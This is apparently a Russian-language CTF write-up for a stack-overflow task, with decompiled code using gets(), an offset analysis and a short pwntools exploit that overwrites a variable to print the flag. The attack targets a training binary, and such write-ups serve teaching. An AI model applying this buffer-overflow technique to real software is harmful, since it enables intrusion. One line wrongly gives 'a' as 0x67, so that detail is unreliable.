Переполните автоматом, чтобы получить флаг. У вас одна секунда!

nc 109.233.56.90 11588

Solution

Анализ main

Лаба почти ничем не отличается от Auto Overflow 1.

int32_t main()
{
    int32_t var_c = 0;
    srand(time(nullptr));
    int32_t rnd = rand();
    printf("Welcome to ");
    printf("OK, here's the deal.\n");
    printf("We want you to set the value of number1 to '%d'.\n", (uint64_t)rnd);
    printf("And you only have 1 second to check your superspeed.\n");
    alarm(1);
    printf("Give me your input: ");
    gets("kek");

    if (number1 != rnd)
    {
        printf("YOU FAILED\n");
        printf("Because, here's the target number: %d\n", (uint64_t)rnd);
        printf("      And here's the your number1: %d\n\n", (uint64_t)number1);
        printf("See the difference?\n");
    }
    else
    {
        printf("Yissss!\n");
        printf("Flag is: spbctf{***********************************}\n");
    }
    return 0;
}

Теперь нам нужно записать не строку, а число.

Создам шаблон для pwntools:

pwn template mc8_censored --host 109.233.56.90 --port 11588 > exploit.py

Смещение до number1

Структура стека аналогична Auto Overflow 1:

Высокие адреса (rbp)
  ...
  number1 (int32_t)   ← цель: перезаписать это значение
  input_buf           ← gets() пишет сюда
  ...
Низкие адреса

От начала input_buf до number10x40 байт (то же смещение что в AO1).

Отличие от AO1: там мы записывали строку напрямую, здесь нужно записать число как 4-байтовое целое в little-endian через p32().

'a' -> 0x67
'aaaa' -> 0x67676767
0x67676767 -> 1734829927

Exploit

io = start()

io.recvuntil(b'of number1 to \'')

num = io.recvuntil(b'\'')[:-1].decode()
num = int(num)

payload = b'q' * 0x40 + p32(num)

io.sendline(payload)

io.interactive()
And you only have 1 second to check your superspeed.
Give me your input: Yissss!
Flag is: spbctf{w3lp_that_w4s_34sy_aft3r_prev1ous_1}
spbctf{w3lp_that_w4s_34sy_aft3r_prev1ous_1}